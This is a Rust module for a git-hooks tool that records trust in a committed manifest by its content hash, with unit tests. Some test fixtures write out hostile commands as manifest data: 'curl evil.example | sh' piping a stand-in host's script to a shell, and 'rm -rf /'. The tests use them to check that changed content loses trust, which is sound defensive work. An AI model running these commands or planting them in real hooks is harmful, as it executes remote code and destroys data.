amont_runtime/trust.rs
1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use std::path::Path;
39
40use crate::ui::valid_sign;
41
42/// Where the decision is recorded. Local, never committed — a repository must
43/// not be able to declare itself trusted.
44pub const KEY: &str = "amont.trusted";
45
46/// Content id of `path`, as git would compute it.
47///
48/// `--no-filters`, because consent is bound to CONTENT and the content that
49/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
50/// filter and eol conversion configured by the repository's own committed
51/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
52/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
53/// and two manifests we would parse differently can hash identically. The
54/// binding was to content-after-a-repo-controlled-transform.
55pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
56 crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
57}
58
59/// The same identity, for bytes already in hand.
60///
61/// `--stdin` is never filtered, so this names exactly the buffer given to it.
62/// Used where the caller has read the file and is about to act on THAT read:
63/// hashing the path again would be a second read, and the two can differ.
64pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
65 crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
66}
67
68/// What the repository has recorded, if anything.
69pub fn recorded(repo: &Path) -> Option<String> {
70 crate::git::stdout_in(repo, &["config", "--local", "--get", KEY])
71}
72
73#[derive(Debug, Clone, Copy, PartialEq, Eq)]
74pub enum State {
75 /// No manifest. The overwhelmingly common case, and it must cost nothing.
76 NoManifest,
77 /// Trusted, and the file still has the bytes that were trusted.
78 Trusted,
79 /// Never trusted here.
80 Untrusted,
81 /// Trusted once, and edited since. Distinct from `Untrusted` because the
82 /// message should say which happened — "somebody changed it" is a different
83 /// thing to tell a reader than "you have not looked at this yet".
84 Changed,
85}
86
87/// Decide whether `repo`'s manifest may run.
88pub fn state(repo: &Path) -> State {
89 let manifest = repo.join(crate::manifest::MANIFEST);
90 if !manifest.is_file() {
91 return State::NoManifest;
92 }
93 let Some(current) = fingerprint(repo, &manifest) else {
94 // Cannot compute it, so cannot claim it matches.
95 return State::Untrusted;
96 };
97 verdict(repo, ¤t)
98}
99
100/// The same decision, about bytes the caller already holds.
101///
102/// For anyone who has read the manifest and is about to act on THAT read.
103/// Re-opening the file to decide whether the first read may run is two reads of
104/// something that can change in between, and the whole point of the record is
105/// that it names the content being executed.
106pub fn state_of(repo: &Path, source: &[u8]) -> State {
107 let Some(current) = fingerprint_bytes(repo, source) else {
108 return State::Untrusted;
109 };
110 verdict(repo, ¤t)
111}
112
113fn verdict(repo: &Path, current: &str) -> State {
114 match recorded(repo) {
115 Some(seen) if seen == current => State::Trusted,
116 Some(_) => State::Changed,
117 None => State::Untrusted,
118 }
119}
120
121/// Record the manifest as it stands now.
122pub fn record(repo: &Path) -> Result<String, String> {
123 let manifest = repo.join(crate::manifest::MANIFEST);
124 let fp = fingerprint(repo, &manifest)
125 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
126 record_verified(repo, &fp)?;
127 Ok(fp)
128}
129
130/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
131///
132/// The gap this closes: `describe()` prints the manifest, then — in
133/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
134/// several seconds, before anything is recorded. A plain re-hash at that
135/// point trusts whatever is on disk THEN, which is not necessarily what was
136/// shown; a file changed in that window would be trusted without ever having
137/// been reviewed, which is the exact thing this module exists to prevent.
138/// Callers fingerprint what they show BEFORE asking, and pass that same
139/// value here — verified again, not merely assumed, once the answer is in.
140pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
141 let manifest = repo.join(crate::manifest::MANIFEST);
142 let now = fingerprint(repo, &manifest)
143 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
144 if now != fp {
145 return Err(format!(
146 "{} changed since it was shown — nothing was trusted; run `amont trust` again to review it",
147 crate::manifest::MANIFEST
148 ));
149 }
150 let ok = crate::git::stdout_in(repo, &["config", "--local", KEY, fp]).is_some();
151 if !ok {
152 return Err(format!("cannot record {KEY} in this repository"));
153 }
154 Ok(())
155}
156
157/// Forget it.
158pub fn revoke(repo: &Path) -> Result<(), String> {
159 // `--unset` exits 5 when the key is absent, which is not a failure here.
160 let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset", KEY]);
161 Ok(())
162}
163
164/// The reason an external does not run, phrased for the check's own report.
165pub fn why(state: State) -> Option<&'static str> {
166 match state {
167 State::NoManifest | State::Trusted => None,
168 State::Untrusted => {
169 Some("declared in an untrusted amont.conf — review it, then `amont trust`")
170 }
171 State::Changed => {
172 Some("amont.conf changed since it was trusted — review it, then `amont trust`")
173 }
174 }
175}
176
177/// Show what the manifest declares, so the decision is made with it in view.
178///
179/// Printing the lines is the whole point: "trust this file" is not a question
180/// anybody can answer without seeing it, and a prompt that does not show it is
181/// a prompt that trains people to press y.
182pub fn describe(repo: &Path) -> String {
183 describe_source(
184 &std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
185 )
186}
187
188/// The same listing, rendered from text the caller already read.
189///
190/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
191/// reads of a file somebody is deciding about can disagree, and the decision
192/// would then be recorded about bytes nobody was shown.
193pub fn describe_source(text: &str) -> String {
194 use std::fmt::Write;
195 let mut out = String::new();
196 for line in crate::manifest::parse_lines(text) {
197 let (name, stage, parsed) = line.into_parts();
198 // Every field here is repo-controlled, and this is the text somebody
199 // is about to say yes to. Sanitised BEFORE the padding, so the column
200 // widths are computed on what is actually printed — an escape sequence
201 // is zero columns wide and would silently shift the alignment even if
202 // it did nothing worse. See `ui::sanitize` for what a concealed
203 // declaration bought.
204 let name = crate::ui::sanitize(&name);
205 match parsed {
206 Ok(declared) => {
207 let _ = writeln!(
208 out,
209 " {name:<14} {:<10} {}",
210 stage.as_str(),
211 crate::ui::sanitize(&declared.command())
212 );
213 }
214 Err(why) => {
215 let _ = writeln!(
216 out,
217 " {name:<14} {:<10} ! {}",
218 stage.as_str(),
219 crate::ui::sanitize(&why.to_string())
220 );
221 }
222 }
223 }
224 out
225}
226
227/// A yes/no on the terminal, or `false` when there is nobody to ask.
228///
229/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
230/// that read stdin would consume something else's input. Same reason
231/// `package-lock` does it, and the third copy of this is where it becomes a
232/// shared function.
233#[cfg(unix)]
234pub fn confirm(prompt: &str) -> bool {
235 use std::io::{BufRead, BufReader, Write};
236 let Ok(tty) = std::fs::File::open("/dev/tty") else {
237 return false;
238 };
239 print!("{prompt}");
240 let _ = std::io::stdout().flush();
241 let mut line = String::new();
242 if BufReader::new(tty).read_line(&mut line).is_err() {
243 return false;
244 }
245 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
246}
247
248/// Windows has no `/dev/tty`; treat it as nobody to ask, which declines.
249#[cfg(not(unix))]
250pub fn confirm(_prompt: &str) -> bool {
251 false
252}
253
254/// `amont trust [--show|--revoke]`.
255pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
256 // Refuse rather than fall back to ".". Trust is RECORDED per repository,
257 // keyed by the root this resolves to, so a "." root outside a repository
258 // meant `amont trust` in `~` would read `~/amont.conf`, show its
259 // declarations, and record trust for them — against a repository that does
260 // not exist, in a state no later `amont trust --revoke` would find.
261 let root = crate::hooks::common::repo_root_checked()?;
262 let root = Path::new(&root);
263 let flag = |f: &str| args.iter().any(|a| a == f);
264
265 if flag("--revoke") {
266 revoke(root)?;
267 println!("{} amont.conf is no longer trusted here", valid_sign());
268 return Ok(());
269 }
270
271 let state = state(root);
272 if state == State::NoManifest {
273 println!("no {} in this repository", crate::manifest::MANIFEST);
274 return Ok(());
275 }
276
277 if flag("--show") {
278 println!("{}", crate::manifest::MANIFEST);
279 print!("{}", describe(root));
280 println!(
281 " {}",
282 match state {
283 State::Trusted => "trusted here",
284 State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
285 _ => "not trusted here — not running",
286 }
287 );
288 return Ok(());
289 }
290
291 if state == State::Trusted {
292 println!("{} already trusted, unchanged", valid_sign());
293 return Ok(());
294 }
295
296 // One read: the bytes shown are the bytes fingerprinted, and
297 // `record_verified` then confirms they are still the bytes on disk. Read
298 // twice, and the listing somebody approved need not be what got recorded.
299 let manifest = root.join(crate::manifest::MANIFEST);
300 let source =
301 std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
302 let fp = fingerprint_bytes(root, &source)
303 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
304 println!("{} declares:", crate::manifest::MANIFEST);
305 print!("{}", describe_source(&String::from_utf8_lossy(&source)));
306 record_verified(root, &fp)?;
307 println!("{} trusted ({fp})", valid_sign());
308 Ok(())
309}
310
311#[cfg(test)]
312mod tests {
313 use super::*;
314
315 fn repo(name: &str) -> std::path::PathBuf {
316 let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
317 let _ = std::fs::remove_dir_all(&d);
318 std::fs::create_dir_all(&d).unwrap();
319 std::process::Command::new("git")
320 .args(["init", "-q", "--template=", "."])
321 .current_dir(&d)
322 .output()
323 .expect("git");
324 d
325 }
326
327 fn write_manifest(dir: &Path, body: &str) {
328 std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
329 }
330
331 /// Ninety-six repositories have no manifest. That must be free and silent.
332 #[test]
333 fn no_manifest_is_not_a_trust_question() {
334 let d = repo("none");
335 assert_eq!(state(&d), State::NoManifest);
336 assert_eq!(why(State::NoManifest), None);
337 let _ = std::fs::remove_dir_all(&d);
338 }
339
340 #[test]
341 fn a_manifest_starts_untrusted() {
342 let d = repo("new");
343 write_manifest(&d, "pre-commit a * block echo hi\n");
344 assert_eq!(state(&d), State::Untrusted);
345 let _ = std::fs::remove_dir_all(&d);
346 }
347
348 #[test]
349 fn recording_makes_it_trusted() {
350 let d = repo("record");
351 write_manifest(&d, "pre-commit a * block echo hi\n");
352 record(&d).expect("record");
353 assert_eq!(state(&d), State::Trusted);
354 let _ = std::fs::remove_dir_all(&d);
355 }
356
357 /// The property the whole design turns on: consent is to CONTENT, so a
358 /// `git pull` that adds a command cannot inherit it.
359 #[test]
360 fn editing_the_manifest_revokes_trust() {
361 let d = repo("edit");
362 write_manifest(&d, "pre-commit a * block echo hi\n");
363 record(&d).expect("record");
364 assert_eq!(state(&d), State::Trusted);
365
366 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
367 assert_eq!(
368 state(&d),
369 State::Changed,
370 "a manifest edited after trusting must not still be trusted"
371 );
372 // And it says which happened, because "you have not looked at this" is
373 // a different sentence to "somebody changed it".
374 assert!(why(State::Changed).expect("reason").contains("changed"));
375 let _ = std::fs::remove_dir_all(&d);
376 }
377
378 /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
379 /// fingerprints what it showed, waits on a keypress, then must not trust
380 /// whatever is on disk by the time the answer comes back if that is not
381 /// what was actually shown.
382 #[test]
383 fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
384 let d = repo("changed-mid-confirm");
385 write_manifest(&d, "pre-commit a * block echo hi\n");
386 let manifest = d.join(crate::manifest::MANIFEST);
387 let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
388
389 // The file is rewritten in the window a real confirm() would have
390 // been blocking on a keypress.
391 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
392
393 let err = record_verified(&d, &shown_fp).expect_err("must refuse");
394 assert!(err.contains("changed"), "{err}");
395 assert_eq!(
396 state(&d),
397 State::Untrusted,
398 "the rewritten content must not end up trusted"
399 );
400 let _ = std::fs::remove_dir_all(&d);
401 }
402
403 /// The ordinary path still works: nothing changed, so the fingerprint
404 /// shown is the fingerprint recorded.
405 #[test]
406 fn record_verified_accepts_a_manifest_that_did_not_change() {
407 let d = repo("unchanged");
408 write_manifest(&d, "pre-commit a * block echo hi\n");
409 let manifest = d.join(crate::manifest::MANIFEST);
410 let fp = fingerprint(&d, &manifest).expect("fingerprint");
411 record_verified(&d, &fp).expect("record");
412 assert_eq!(state(&d), State::Trusted);
413 let _ = std::fs::remove_dir_all(&d);
414 }
415
416 #[test]
417 fn revoking_returns_it_to_untrusted() {
418 let d = repo("revoke");
419 write_manifest(&d, "pre-commit a * block echo hi\n");
420 record(&d).expect("record");
421 revoke(&d).expect("revoke");
422 assert_eq!(state(&d), State::Untrusted);
423 // Twice is not an error: `git config --unset` exits 5 on a missing key.
424 revoke(&d).expect("revoke again");
425 let _ = std::fs::remove_dir_all(&d);
426 }
427
428 /// Reproducible by hand, which is the point of using git's own identity.
429 #[test]
430 fn the_fingerprint_is_git_hash_object() {
431 let d = repo("fp");
432 write_manifest(&d, "pre-commit a * block echo hi\n");
433 let manifest = d.join(crate::manifest::MANIFEST);
434 let ours = fingerprint(&d, &manifest).expect("fingerprint");
435 let theirs = String::from_utf8_lossy(
436 &std::process::Command::new("git")
437 .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
438 .current_dir(&d)
439 .output()
440 .expect("git")
441 .stdout,
442 )
443 .trim()
444 .to_string();
445 assert_eq!(ours, theirs);
446 let _ = std::fs::remove_dir_all(&d);
447 }
448 /// A repository must not choose the transform its own consent is taken
449 /// through.
450 ///
451 /// `.gitattributes` is committed, so the repo picks the clean filter; plain
452 /// `git hash-object` applies it. With one that collapses everything to a
453 /// constant, two manifests this parser reads DIFFERENTLY are given the same
454 /// id — so a trusted fingerprint would cover content nobody reviewed.
455 #[test]
456 fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
457 let d = repo("filter");
458 std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
459 .expect("write attributes");
460 let ok = std::process::Command::new("git")
461 .args(["config", "--local", "filter.flatten.clean", "echo same"])
462 .current_dir(&d)
463 .status()
464 .map(|s| s.success())
465 .unwrap_or(false);
466 if !ok {
467 return; // no git to configure; nothing to assert
468 }
469 let manifest = d.join(crate::manifest::MANIFEST);
470
471 write_manifest(&d, "pre-commit a * block echo one\n");
472 let filtered_a = raw_hash(&d, &manifest);
473 let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
474
475 write_manifest(&d, "pre-commit b * block rm -rf /\n");
476 let filtered_b = raw_hash(&d, &manifest);
477 let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
478
479 // The collision has to EXIST before its absence means anything. A
480 // clean filter is an external program run through git's own shell, and
481 // whether `echo` resolves that way is the platform's business, not
482 // ours — Git for Windows does not collapse these. Say so and stop,
483 // rather than report a fixture that would not build as a defect in the
484 // code under test. `an_eol_conversion_cannot_...` below covers the same
485 // property with no external program involved and runs everywhere.
486 if filtered_a != filtered_b {
487 println!(
488 "! clean filters do not apply here — collision not reproducible, \
489 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
490 );
491 return;
492 }
493 assert_ne!(
494 ours_a, ours_b,
495 "the fingerprint followed a repo-controlled filter"
496 );
497 }
498
499 /// The same property, with git's own eol conversion instead of an external
500 /// filter — so it holds on every platform.
501 ///
502 /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
503 /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
504 /// files differing only in line endings hash identically. That is a weaker
505 /// lever than a clean filter (the parser reads both the same way), but it
506 /// is the same mistake: the id names content-after-a-repo-controlled
507 /// transform rather than the bytes we read.
508 #[test]
509 fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
510 let d = repo("eol");
511 std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
512 .expect("write attributes");
513 let manifest = d.join(crate::manifest::MANIFEST);
514
515 // Byte-different, line-ending-identical-after-normalisation.
516 std::fs::write(&manifest, b"pre-commit a * block echo one\r\n").expect("crlf");
517 let filtered_crlf = raw_hash(&d, &manifest);
518 let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
519
520 std::fs::write(&manifest, b"pre-commit a * block echo one\n").expect("lf");
521 let filtered_lf = raw_hash(&d, &manifest);
522 let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
523
524 if filtered_crlf != filtered_lf {
525 println!("! eol conversion does not apply here — collision not reproducible");
526 return;
527 }
528 assert_ne!(
529 ours_crlf, ours_lf,
530 "the fingerprint followed a repo-controlled eol conversion"
531 );
532 }
533
534 fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
535 String::from_utf8_lossy(
536 &std::process::Command::new("git")
537 .args(["hash-object", manifest.to_str().unwrap()])
538 .current_dir(dir)
539 .output()
540 .expect("git")
541 .stdout,
542 )
543 .trim()
544 .to_string()
545 }
546}